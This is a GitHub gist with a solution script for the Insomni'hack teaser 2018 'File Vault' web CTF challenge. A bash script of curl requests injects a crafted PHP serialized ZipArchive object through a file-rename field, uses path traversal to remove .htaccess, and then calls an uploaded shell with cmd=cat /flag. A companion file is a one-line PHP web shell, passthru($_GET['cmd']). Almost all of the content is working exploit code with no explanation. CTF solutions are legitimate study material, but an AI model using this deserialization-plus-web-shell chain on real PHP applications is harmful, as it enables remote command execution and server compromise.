Last active
May 13, 2020 03:18
-
-
Save st98/0aa35ec6d81ec08009bf0502ad92bce1 to your computer and use it in GitHub Desktop.
Insomni'hack teaser 2018 - [Web] File Vault
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
URL="http://filevault.teaser.insomnihack.ch" | |
SANDBOX_DIR="827bfe788a9d99ceecaef263c52e34a1570c8349" | |
curl -c cookie.txt "$URL/?action=reset" | |
curl -b cookie.txt -c cookie.txt "$URL/?action=upload" -F "[email protected]" | |
curl -b cookie.txt -c cookie.txt "$URL/?action=upload" -F "[email protected]" | |
curl -b cookie.txt -c cookie.txt "$URL/?action=changename&i=1" -d 'newname=;s:8:"realname";s:9:"aaaaaaaaa";}i:1;O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"realname";i:8;s:8:"filename";s:67:"' | |
curl -b cookie.txt -c cookie.txt "$URL/?action=changename&i=0" -d "newname=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.php" | |
curl -b cookie.txt -c cookie.txt "$URL/?action=changename&i=1" -d "newname=sandbox/$SANDBOX_DIR/.htaccess" | |
curl -b cookie.txt -c cookie.txt "$URL/?action=open&i=1" > /dev/null 2>&1 | |
curl -b cookie.txt -c cookie.txt "$URL/sandbox/$SANDBOX_DIR/$(sha1sum shell.php | awk '{ print $1 }').php?cmd=cat+/flag" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
passthru($_GET['cmd']); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment